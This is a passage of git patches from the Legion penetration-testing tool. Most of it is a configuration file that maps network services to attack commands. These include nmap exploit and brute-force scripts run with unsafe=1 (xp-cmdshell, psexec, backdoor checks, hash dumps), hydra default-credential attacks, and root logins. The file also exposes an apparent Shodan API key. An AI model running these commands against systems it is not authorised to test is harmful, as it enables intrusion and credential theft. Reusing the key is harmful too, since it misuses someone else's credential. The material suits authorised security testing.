-http-unsafe-output-escaping.nse=http-unsafe-output-escaping.nse, "nmap -Pn [IP] -p [PORT] --script=http-unsafe-output-escaping.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-useragent-tester.nse=http-useragent-tester.nse, "nmap -Pn [IP] -p [PORT] --script=http-useragent-tester.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-userdir-enum.nse=http-userdir-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-userdir-enum.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-vhosts.nse=http-vhosts.nse, "nmap -Pn [IP] -p [PORT] --script=http-vhosts.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-virustotal.nse=http-virustotal.nse, "nmap -Pn [IP] -p [PORT] --script=http-virustotal.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-vlcstreamer-ls.nse=http-vlcstreamer-ls.nse, "nmap -Pn [IP] -p [PORT] --script=http-vlcstreamer-ls.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-vmware-path-vuln.nse=http-vmware-path-vuln.nse, "nmap -Pn [IP] -p [PORT] --script=http-vmware-path-vuln.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-vuln-cve2009-3960.nse=http-vuln-cve2009-3960.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2009-3960.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-vuln-cve2010-0738.nse=http-vuln-cve2010-0738.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2010-0738.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-vuln-cve2010-2861.nse=http-vuln-cve2010-2861.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2010-2861.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-vuln-cve2011-3192.nse=http-vuln-cve2011-3192.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2011-3192.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-vuln-cve2011-3368.nse=http-vuln-cve2011-3368.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2011-3368.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-vuln-cve2012-1823.nse=http-vuln-cve2012-1823.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2012-1823.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-vuln-cve2013-0156.nse=http-vuln-cve2013-0156.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2013-0156.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-vuln-zimbra-lfi.nse=http-vuln-zimbra-lfi.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-zimbra-lfi.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-waf-detect.nse=http-waf-detect.nse, "nmap -Pn [IP] -p [PORT] --script=http-waf-detect.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-waf-fingerprint.nse=http-waf-fingerprint.nse, "nmap -Pn [IP] -p [PORT] --script=http-waf-fingerprint.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-wapiti=http-wapiti, wapiti http://[IP] -n 10 -b folder -u -v 1 -f txt -o [OUTPUT], http -http-wordpress-brute.nse=http-wordpress-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-wordpress-brute.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-wordpress-enum.nse=http-wordpress-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-wordpress-enum.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-wordpress-plugins.nse=http-wordpress-plugins.nse, "nmap -Pn [IP] -p [PORT] --script=http-wordpress-plugins.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -http-xssed.nse=http-xssed.nse, "nmap -Pn [IP] -p [PORT] --script=http-xssed.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -https-wapiti=https-wapiti, wapiti https://[IP] -n 10 -b folder -u -v 1 -f txt -o [OUTPUT], https -imap-brute.nse=imap-brute.nse, "nmap -Pn [IP] -p [PORT] --script=imap-brute.nse --script-args=unsafe=1", imap -imap-capabilities.nse=imap-capabilities.nse, "nmap -Pn [IP] -p [PORT] --script=imap-capabilities.nse --script-args=unsafe=1", imap -irc-botnet-channels.nse=irc-botnet-channels.nse, "nmap -Pn [IP] -p [PORT] --script=irc-botnet-channels.nse --script-args=unsafe=1", irc -irc-brute.nse=irc-brute.nse, "nmap -Pn [IP] -p [PORT] --script=irc-brute.nse --script-args=unsafe=1", irc -irc-info.nse=irc-info.nse, "nmap -Pn [IP] -p [PORT] --script=irc-info.nse --script-args=unsafe=1", irc -irc-sasl-brute.nse=irc-sasl-brute.nse, "nmap -Pn [IP] -p [PORT] --script=irc-sasl-brute.nse --script-args=unsafe=1", irc -irc-unrealircd-backdoor.nse=irc-unrealircd-backdoor.nse, "nmap -Pn [IP] -p [PORT] --script=irc-unrealircd-backdoor.nse --script-args=unsafe=1", irc -ldapsearch=Run ldapsearch, ldapsearch -h [IP] -p [PORT] -x -s base, ldap -membase-http-info.nse=membase-http-info.nse, "nmap -Pn [IP] -p [PORT] --script=membase-http-info.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -ms-sql-brute.nse=ms-sql-brute.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-brute.nse --script-args=unsafe=1", ms-sql -ms-sql-config.nse=ms-sql-config.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-config.nse --script-args=unsafe=1", ms-sql -ms-sql-dac.nse=ms-sql-dac.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-dac.nse --script-args=unsafe=1", ms-sql -ms-sql-dump-hashes.nse=ms-sql-dump-hashes.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-dump-hashes.nse --script-args=unsafe=1", ms-sql -ms-sql-empty-password.nse=ms-sql-empty-password.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-empty-password.nse --script-args=unsafe=1", ms-sql -ms-sql-hasdbaccess.nse=ms-sql-hasdbaccess.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-hasdbaccess.nse --script-args=unsafe=1", ms-sql -ms-sql-info.nse=ms-sql-info.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-info.nse --script-args=unsafe=1", ms-sql -ms-sql-query.nse=ms-sql-query.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-query.nse --script-args=unsafe=1", ms-sql -ms-sql-tables.nse=ms-sql-tables.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-tables.nse --script-args=unsafe=1", ms-sql -ms-sql-xp-cmdshell.nse=ms-sql-xp-cmdshell.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-xp-cmdshell.nse --script-args=unsafe=1", ms-sql -msrpc-enum.nse=msrpc-enum.nse, "nmap -Pn [IP] -p [PORT] --script=msrpc-enum.nse --script-args=unsafe=1", msrpc -mssql-default=Check for default mssql credentials, hydra -s [PORT] -C ./wordlists/mssql-betterdefaultpasslist.txt -u -o \"[OUTPUT].txt\" -f [IP] mssql, ms-sql-s -mysql-audit.nse=mysql-audit.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-audit.nse --script-args=unsafe=1", mysql -mysql-brute.nse=mysql-brute.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-brute.nse --script-args=unsafe=1", mysql -mysql-databases.nse=mysql-databases.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-databases.nse --script-args=unsafe=1", mysql -mysql-default=Check for default mysql credentials, hydra -s [PORT] -C ./wordlists/mysql-betterdefaultpasslist.txt -u -o \"[OUTPUT].txt\" -f [IP] mysql, mysql -mysql-dump-hashes.nse=mysql-dump-hashes.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-dump-hashes.nse --script-args=unsafe=1", mysql -mysql-empty-password.nse=mysql-empty-password.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-empty-password.nse --script-args=unsafe=1", mysql -mysql-enum.nse=mysql-enum.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-enum.nse --script-args=unsafe=1", mysql -mysql-info.nse=mysql-info.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-info.nse --script-args=unsafe=1", mysql -mysql-query.nse=mysql-query.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-query.nse --script-args=unsafe=1", mysql -mysql-users.nse=mysql-users.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-users.nse --script-args=unsafe=1", mysql -mysql-variables.nse=mysql-variables.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-variables.nse --script-args=unsafe=1", mysql -mysql-vuln-cve2012-2122.nse=mysql-vuln-cve2012-2122.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-vuln-cve2012-2122.nse --script-args=unsafe=1", mysql -nbtscan=Run nbtscan, nbtscan -v -h [IP], netbios-ns -nfs-ls.nse=nfs-ls.nse, "nmap -Pn [IP] -p [PORT] --script=nfs-ls.nse --script-args=unsafe=1", nfs -nfs-showmount.nse=nfs-showmount.nse, "nmap -Pn [IP] -p [PORT] --script=nfs-showmount.nse --script-args=unsafe=1", nfs -nfs-statfs.nse=nfs-statfs.nse, "nmap -Pn [IP] -p [PORT] --script=nfs-statfs.nse --script-args=unsafe=1", nfs -nikto=Run nikto, nikto -o [OUTPUT].txt -p [PORT] -h [IP] -C all, "http,https,ssl,soap,http-proxy,http-alt,https-alt" -nmap=Run nmap (scripts) on port, nmap -Pn -sV -sC -vvvvv -p[PORT] [IP] -oA [OUTPUT], -oracle-brute-stealth.nse=oracle-brute-stealth.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-brute-stealth.nse --script-args=unsafe=1", oracle -oracle-brute.nse=oracle-brute.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-brute.nse --script-args=unsafe=1", oracle -oracle-default=Check for default oracle credentials, hydra -s [PORT] -C ./wordlists/oracle-betterdefaultpasslist.txt -u -o \"[OUTPUT].txt\" -f [IP] oracle-listener, oracle-tns -oracle-enum-users.nse=oracle-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-enum-users.nse --script-args=unsafe=1", oracle -oracle-sid=Oracle SID enumeration, "msfconsole -q -n -L -x \"color false; spool [OUTPUT].txt; use auxiliary/scanner/oracle/sid_enum; set RHOSTS [IP]; run; exit -y\"", oracle-tns -oracle-sid-brute.nse=oracle-sid-brute.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-sid-brute.nse --script-args=unsafe=1", oracle -oracle-version=Get Oracle version, "msfconsole -q -n -L -x \"color false; spool [OUTPUT].txt; use auxiliary/scanner/oracle/tnslsnr_version; set RHOSTS [IP]; run; exit -y\"", oracle-tns -polenum=Extract password policy (polenum), polenum [IP], "netbios-ssn,microsoft-ds" -pop3-brute.nse=pop3-brute.nse, "nmap -Pn [IP] -p [PORT] --script=pop3-brute.nse --script-args=unsafe=1", pop3 -pop3-capabilities.nse=pop3-capabilities.nse, "nmap -Pn [IP] -p [PORT] --script=pop3-capabilities.nse --script-args=unsafe=1", pop3 -postgres-default=Check for default postgres credentials, hydra -s [PORT] -C ./wordlists/postgres-betterdefaultpasslist.txt -u -o \"[OUTPUT].txt\" -f [IP] postgres, postgresql -rdp-sec-check=Run rdp-sec-check.pl, perl ./scripts/rdp-sec-check.pl [IP]:[PORT], ms-wbt-server -realvnc-auth-bypass.nse=realvnc-auth-bypass.nse, "nmap -Pn [IP] -p [PORT] --script=realvnc-auth-bypass.nse --script-args=unsafe=1", vnc -riak-http-info.nse=riak-http-info.nse, "nmap -Pn [IP] -p [PORT] --script=riak-http-info.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" -rpcinfo=Run rpcinfo, rpcinfo -p [IP], rpcbind -rwho=Run rwho, rwho -a [IP], who -samba-vuln-cve-2012-1182.nse=samba-vuln-cve-2012-1182.nse, "nmap -Pn [IP] -p [PORT] --script=samba-vuln-cve-2012-1182.nse --script-args=unsafe=1", samba -samrdump=Run samrdump, python /usr/share/doc/python-impacket-doc/examples/samrdump.py [IP] [PORT]/SMB, "netbios-ssn,microsoft-ds" -showmount=Show nfs shares, showmount -e [IP], nfs -smb-brute.nse=smb-brute.nse, "nmap -Pn [IP] -p [PORT] --script=smb-brute.nse --script-args=unsafe=1", smb -smb-check-vulns.nse=smb-check-vulns.nse, "nmap -Pn [IP] -p [PORT] --script=smb-check-vulns.nse --script-args=unsafe=1", smb -smb-enum-admins=Enumerate domain admins (net), "net rpc group members \"Domain Admins\" -I [IP] -U% ", "netbios-ssn,microsoft-ds" -smb-enum-domains.nse=smb-enum-domains.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-domains.nse --script-args=unsafe=1", smb -smb-enum-groups=Enumerate groups (nmap), "nmap -p[PORT] --script=smb-enum-groups [IP] -vvvvv", "netbios-ssn,microsoft-ds" -smb-enum-groups.nse=smb-enum-groups.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-groups.nse --script-args=unsafe=1", smb -smb-enum-policies=Extract password policy (nmap), "nmap -p[PORT] --script=smb-enum-domains [IP] -vvvvv", "netbios-ssn,microsoft-ds" -smb-enum-processes.nse=smb-enum-processes.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-processes.nse --script-args=unsafe=1", smb -smb-enum-sessions=Enumerate logged in users (nmap), "nmap -p[PORT] --script=smb-enum-sessions [IP] -vvvvv", "netbios-ssn,microsoft-ds" -smb-enum-sessions.nse=smb-enum-sessions.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-sessions.nse --script-args=unsafe=1", smb -smb-enum-shares=Enumerate shares (nmap), "nmap -p[PORT] --script=smb-enum-shares [IP] -vvvvv", "netbios-ssn,microsoft-ds" -smb-enum-shares.nse=smb-enum-shares.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-shares.nse --script-args=unsafe=1", smb -smb-enum-users=Enumerate users (nmap), "nmap -p[PORT] --script=smb-enum-users [IP] -vvvvv", "netbios-ssn,microsoft-ds" -smb-enum-users-rpc=Enumerate users (rpcclient), bash -c \"echo 'enumdomusers' | rpcclient [IP] -U%\", "netbios-ssn,microsoft-ds" -smb-enum-users.nse=smb-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-users.nse --script-args=unsafe=1", smb -smb-flood.nse=smb-flood.nse, "nmap -Pn [IP] -p [PORT] --script=smb-flood.nse --script-args=unsafe=1", smb -smb-ls.nse=smb-ls.nse, "nmap -Pn [IP] -p [PORT] --script=smb-ls.nse --script-args=unsafe=1", smb -smb-mbenum.nse=smb-mbenum.nse, "nmap -Pn [IP] -p [PORT] --script=smb-mbenum.nse --script-args=unsafe=1", smb -smb-null-sessions=Check for null sessions (rpcclient), bash -c \"echo 'srvinfo' | rpcclient [IP] -U%\", "netbios-ssn,microsoft-ds" -smb-os-discovery.nse=smb-os-discovery.nse, "nmap -Pn [IP] -p [PORT] --script=smb-os-discovery.nse --script-args=unsafe=1", smb -smb-print-text.nse=smb-print-text.nse, "nmap -Pn [IP] -p [PORT] --script=smb-print-text.nse --script-args=unsafe=1", smb -smb-psexec.nse=smb-psexec.nse, "nmap -Pn [IP] -p [PORT] --script=smb-psexec.nse --script-args=unsafe=1", smb -smb-security-mode.nse=smb-security-mode.nse, "nmap -Pn [IP] -p [PORT] --script=smb-security-mode.nse --script-args=unsafe=1", smb -smb-server-stats.nse=smb-server-stats.nse, "nmap -Pn [IP] -p [PORT] --script=smb-server-stats.nse --script-args=unsafe=1", smb -smb-system-info.nse=smb-system-info.nse, "nmap -Pn [IP] -p [PORT] --script=smb-system-info.nse --script-args=unsafe=1", smb -smb-vuln-ms10-054.nse=smb-vuln-ms10-054.nse, "nmap -Pn [IP] -p [PORT] --script=smb-vuln-ms10-054.nse --script-args=unsafe=1", smb -smb-vuln-ms10-061.nse=smb-vuln-ms10-061.nse, "nmap -Pn [IP] -p [PORT] --script=smb-vuln-ms10-061.nse --script-args=unsafe=1", smb -smbenum=Run smbenum, bash ./scripts/smbenum.sh [IP], "netbios-ssn,microsoft-ds" -smbv2-enabled.nse=smbv2-enabled.nse, "nmap -Pn [IP] -p [PORT] --script=smbv2-enabled.nse --script-args=unsafe=1", smb -smtp-brute.nse=smtp-brute.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-brute.nse --script-args=unsafe=1", smtp -smtp-commands.nse=smtp-commands.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-commands.nse --script-args=unsafe=1", smtp -smtp-enum-expn=Enumerate SMTP users (EXPN), smtp-user-enum -M EXPN -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t [IP] -p [PORT], smtp -smtp-enum-rcpt=Enumerate SMTP users (RCPT), smtp-user-enum -M RCPT -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t [IP] -p [PORT], smtp -smtp-enum-users.nse=smtp-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-enum-users.nse --script-args=unsafe=1", smtp -smtp-enum-vrfy=Enumerate SMTP users (VRFY), smtp-user-enum -M VRFY -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t [IP] -p [PORT], smtp -smtp-open-relay.nse=smtp-open-relay.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-open-relay.nse --script-args=unsafe=1", smtp -smtp-strangeport.nse=smtp-strangeport.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-strangeport.nse --script-args=unsafe=1", smtp -smtp-vuln-cve2010-4344.nse=smtp-vuln-cve2010-4344.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-vuln-cve2010-4344.nse --script-args=unsafe=1", smtp -smtp-vuln-cve2011-1720.nse=smtp-vuln-cve2011-1720.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-vuln-cve2011-1720.nse --script-args=unsafe=1", smtp -smtp-vuln-cve2011-1764.nse=smtp-vuln-cve2011-1764.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-vuln-cve2011-1764.nse --script-args=unsafe=1", smtp -snmp-brute=Bruteforce community strings (medusa), bash -c \"medusa -h [IP] -u root -P ./wordlists/snmp-default.txt -M snmp | grep SUCCESS\", "snmp,snmptrap" -snmp-brute.nse=snmp-brute.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-brute.nse --script-args=unsafe=1", snmp -snmp-default=Check for default community strings, python ./scripts/snmpbrute.py -t [IP] -p [PORT] -f ./wordlists/snmp-default.txt -b --no-colours, "snmp,snmptrap" -snmp-hh3c-logins.nse=snmp-hh3c-logins.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-hh3c-logins.nse --script-args=unsafe=1", snmp -snmp-interfaces.nse=snmp-interfaces.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-interfaces.nse --script-args=unsafe=1", snmp -snmp-ios-config.nse=snmp-ios-config.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-ios-config.nse --script-args=unsafe=1", snmp -snmp-netstat.nse=snmp-netstat.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-netstat.nse --script-args=unsafe=1", snmp -snmp-processes.nse=snmp-processes.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-processes.nse --script-args=unsafe=1", snmp -snmp-sysdescr.nse=snmp-sysdescr.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-sysdescr.nse --script-args=unsafe=1", snmp -snmp-win32-services.nse=snmp-win32-services.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-win32-services.nse --script-args=unsafe=1", snmp -snmp-win32-shares.nse=snmp-win32-shares.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-win32-shares.nse --script-args=unsafe=1", snmp -snmp-win32-software.nse=snmp-win32-software.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-win32-software.nse --script-args=unsafe=1", snmp -snmp-win32-users.nse=snmp-win32-users.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-win32-users.nse --script-args=unsafe=1", snmp -snmpcheck=Run snmpcheck, snmpcheck -t [IP], "snmp,snmptrap" -ssh-default=Check for default ssh credentials, hydra -s [PORT] -C ./wordlists/ssh-betterdefaultpasslist.txt -u -t 4 -o \"[OUTPUT].txt\" -f [IP] ssh, ssh -ssh-default-root=Check for default ssh root credentials, hydra -s [PORT] -C ./wordlists/root-userpass.txt -u -t 4 -o \"[OUTPUT].txt\" -f [IP] ssh, ssh -ssh-default-router=Check for default ssh router credentials, hydra -s [PORT] -C ./wordlists/routers-userpass.txt -u -t 4 -o \"[OUTPUT].txt\" -f [IP] ssh, ssh -sslscan=Run sslscan, sslscan --no-failed [IP]:[PORT], "https,ssl,https-alt" -sslyze=Run sslyze, sslyze --regular [IP]:[PORT], "https,ssl,ms-wbt-server,imap,pop3,smtp,https-alt" -telnet-default=Check for default telnet credentials, hydra -s [PORT] -C ./wordlists/telnet-betterdefaultpasslist.txt -u -t 4 -o \"[OUTPUT].txt\" -f [IP] telnet, telnet -telnet-default-root=Check for default telnet root credentials, hydra -s [PORT] -C ./wordlists/root-userpass.txt -u -t 4 -o \"[OUTPUT].txt\" -f [IP] telnet, telnet -telnet-default-router=Check for default telnet router credentials, hydra -s [PORT] -C ./wordlists/routers-userpass.txt -u -t 4 -o \"[OUTPUT].txt\" -f [IP] telnet, telnet -tftp-enum.nse=tftp-enum.nse, "nmap -Pn [IP] -p [PORT] --script=tftp-enum.nse --script-args=unsafe=1", tftp -theharvester=Run theharvester, theharvester -d [IP]:[PORT] -b all -n -c -t -h, dns -vnc-brute.nse=vnc-brute.nse, "nmap -Pn [IP] -p [PORT] --script=vnc-brute.nse --script-args=unsafe=1", vnc -vnc-default=Check for default VNC credentials, hydra -s [PORT] -C ./wordlists/vnc-betterdefaultpasslist.txt -u -o \"[OUTPUT].txt\" -f [IP] vnc, vnc -vnc-info.nse=vnc-info.nse, "nmap -Pn [IP] -p [PORT] --script=vnc-info.nse --script-args=unsafe=1", vnc -wafw00f=Run wafw00f, wafw00f [IP]:[PORT], "https,ssl,https-alt" -whatweb=Run whatweb, "whatweb [IP]:[PORT] --color=never --log-brief=[OUTPUT].txt", "http,https,ssl,https-alt" -wpscan=Run wpscan, wpscan --url [IP], "http,https,ssl,https-alt" - -[PortTerminalActions] -firefox=Open with firefox, firefox [IP]:[PORT], -ftp=Open with ftp client, ftp [IP] [PORT], [term] ftp -mssql=Open with mssql client (as sa), [term] python /usr/share/doc/python-impacket-doc/examples/mssqlclient.py -p [PORT] sa@[IP], "mys-sql-s,codasrv-se" -mysql=Open with mysql client (as root), "[term] mysql -u root -h [IP] --port=[PORT] -p", mysql -netcat=Open with netcat, [term] nc -v [IP] [PORT], -psql=Open with postgres client (as postgres), [term] psql -h [IP] -p [PORT] -U postgres, postgres -rdesktop=Open with rdesktop, [term] rdesktop [IP]:[PORT], ms-wbt-server -rlogin=Open with rlogin, [term] rlogin -i root -p [PORT] [IP], login -rpcclient=Open with rpcclient (NULL session), [term] rpcclient [IP] -p [PORT] -U%, "netbios-ssn,microsoft-ds" -rsh=Open with rsh, rsh -l root [IP], [term] shell -ssh=Open with ssh client (as root), [term] ssh root@[IP] -p [PORT], ssh -telnet=Open with telnet, [term] telnet [IP] [PORT], -vncviewer=Open with vncviewer, vncviewer [IP]:[PORT], vnc -xephyr=Open with Xephyr, [term] Xephyr -query [IP] :1, xdmcp -xterm=Open terminal, [term] bash, - -[SchedulerSettings] -screenshooter="http,https,ssl,http-proxy,http-alt,https-alt", tcp - -[StagedNmapSettings] -stage1-ports="T:23,25,587,80,8080,443,8443,8081,9443,3389,1099,4786,3306,5432,1521" -stage2-ports="T:135,137,139,445,1433,88" -stage3-ports="Vulners,CVE" -stage4-ports="T:80" -Stage5-ports="T:80" - -[ToolSettings] -cutycapt-path=/usr/bin/cutycapt -hydra-path=/usr/bin/hydra -nmap-path=/sbin/nmap -pyshodan-api-key=SNYEkE0gdwNu9BRURVDjWPXePCquXqht -texteditor-path=/usr/bin/leafpad From fc2dd54cc7912890c52d7a58e6ca348c343f9df8 Mon Sep 17 00:00:00 2001 From: t3chn0t3s <46801776+t3chn0t3s@users.noreply.github.com> Date: Thu, 16 Jun 2022 20:18:35 -0500 Subject: [PATCH 427/450] Added Cutycapt --insecure flag to ignore SSL/TLS certificate errors --- app/Screenshooter.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/app/Screenshooter.py b/app/Screenshooter.py index 32af2b10..46a64039 100644 --- a/app/Screenshooter.py +++ b/app/Screenshooter.py @@ -74,7 +74,8 @@ def run(self): def save(self, url, ip, port, outputfile): self.tsLog('Saving screenshot as: ' + str(outputfile)) - command = ('xvfb-run --server-args="-screen 0:0, 1024x768x24" /usr/bin/cutycapt --url="{url}/"' + # Added --insecure flag to ignore SSL/TLS errors + command = ('xvfb-run --server-args="-screen 0:0, 1024x768x24" /usr/bin/cutycapt --insecure --url="{url}/"' ' --max-wait=5000 --out="{outputfolder}/{outputfile}"') \ .format(url=url, outputfolder=self.outputfolder, outputfile=outputfile) p = subprocess.Popen(command, shell=True) From 808c27874626d2522193805937a88f9e6af12b1b Mon Sep 17 00:00:00 2001 From: Tdeforge <75676514+Tdeforge@users.noreply.github.com> Date: Wed, 6 Jul 2022 11:32:04 -0500 Subject: [PATCH 428/450] Update README.md Adding instructions to modify scan configurations --- README.md | 20 ++++++++++++-------- 1 file changed, 12 insertions(+), 8 deletions(-) diff --git a/README.md b/README.md index ecd813ab..6f29eff1 100644 --- a/README.md +++ b/README.md @@ -1,13 +1,5 @@ ![alt tag](https://github.com/GoVanguard/legion/blob/master/images/LegionBanner.png) - - ## ✨ About Legion, a fork of SECFORCE's Sparta, is an open source, easy-to-use, super-extensible, and semi-automated network @@ -26,6 +18,7 @@ our [Legion Keybase Team](https://keybase.io/team/govanguard.dev.legion). * Easy to use graphical interface with rich context menus and panels that allow pentesters to quickly find and exploit attack vectors on hosts. * Modular functionality allows users to easily customize Legion and automatically call their own scripts/tools. +* Multiple custom scan configurations ideal for testing different environments of various size and complexity. * Highly customizable stage scanning for ninja-like IPS evasion. * Automatic detection of CPEs (Common Platform Enumeration) and CVEs (Common Vulnerabilities and Exposures). * Ties CVEs to Exploits as detailed in Exploit-Database. @@ -259,6 +252,17 @@ To run all test cases, execute the following in root directory: python -m unittest ``` +### Modifying Configuration + +The configuration of selected ports and associated terminal actions can be easily modified by editing the legion.conf file. +> [StagedNmapSettings] defines what ports will be scanned in sequential order as well as any NSE scripts that will be called. +> +> [SchedulerSettings] defines what actions will occur automatically based upon port scan results. + +```shell +sudoedit /root/.local/share/legion/legion.conf +``` + ## ⚖️ License Legion is licensed under the GNU General Public License v3.0. Take a look at the From 203604311938712697efea3c54afe26d36cf75f0 Mon Sep 17 00:00:00 2001 From: Dennis Carlson Date: Wed, 3 Aug 2022 08:30:32 -0500 Subject: [PATCH 429/450] Ensure progress is cast to an int --- app/actions/updateProgress/UpdateProgressObservable.py | 2 ++ app/importers/NmapImporter.py | 4 ++-- 2 files changed, 4 insertions(+), 2 deletions(-) diff --git a/app/actions/updateProgress/UpdateProgressObservable.py b/app/actions/updateProgress/UpdateProgressObservable.py index a1166682..dfebbc99 100644 --- a/app/actions/updateProgress/UpdateProgressObservable.py +++ b/app/actions/updateProgress/UpdateProgressObservable.py @@ -28,5 +28,7 @@ def start(self): observer.onStart() def updateProgress(self, progress): + progress = int(progress) + for observer in self._observers: observer.onProgressUpdate(progress) diff --git a/app/importers/NmapImporter.py b/app/importers/NmapImporter.py index eaf01f93..8538e584 100644 --- a/app/importers/NmapImporter.py +++ b/app/importers/NmapImporter.py @@ -114,7 +114,7 @@ def run(self): createProgress = createProgress + ((100.0 / hostCount) / 5) totalprogress = totalprogress + createProgress - self.updateProgressObservable.updateProgress(int(totalprogress)) + self.updateProgressObservable.updateProgress(totalprogress) session.commit() @@ -142,7 +142,7 @@ def run(self): createOsNodesProgress = createOsNodesProgress + ((100.0 / hostCount) / 5) totalprogress = totalprogress + createOsNodesProgress - self.updateProgressObservable.updateProgress(int(totalprogress)) + self.updateProgressObservable.updateProgress(totalprogress) session.commit() From 66e983b7a168da78ca451eef2847cd38f30366d6 Mon Sep 17 00:00:00 2001 From: Tdeforge <75676514+Tdeforge@users.noreply.github.com> Date: Thu, 6 Oct 2022 14:35:08 -0500 Subject: [PATCH 430/450] Update medium_scope_custom_ports.conf --- custom_configs/medium_scope_custom_ports.conf | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/custom_configs/medium_scope_custom_ports.conf b/custom_configs/medium_scope_custom_ports.conf index 32a99ebb..4fe78d1e 100644 --- a/custom_configs/medium_scope_custom_ports.conf +++ b/custom_configs/medium_scope_custom_ports.conf @@ -312,7 +312,7 @@ x11screen=X11, tcp [StagedNmapSettings] stage1-ports="T:23,25,587,80,8080,443,8443,8081,9443,3389,1099,4786,3306,5432,1521" stage2-ports="T:135,137,139,445,1433,88" -stage3-ports="U:53,110,161,500" +stage3-ports="U:53,110,161,500, 623" stage4-ports="T:1-10000" stage5-ports="Vulners,CVE" stage6-ports="T:80" From d59a291f512af0e169d21876b2b7d12ccdbccbbd Mon Sep 17 00:00:00 2001 From: "S. 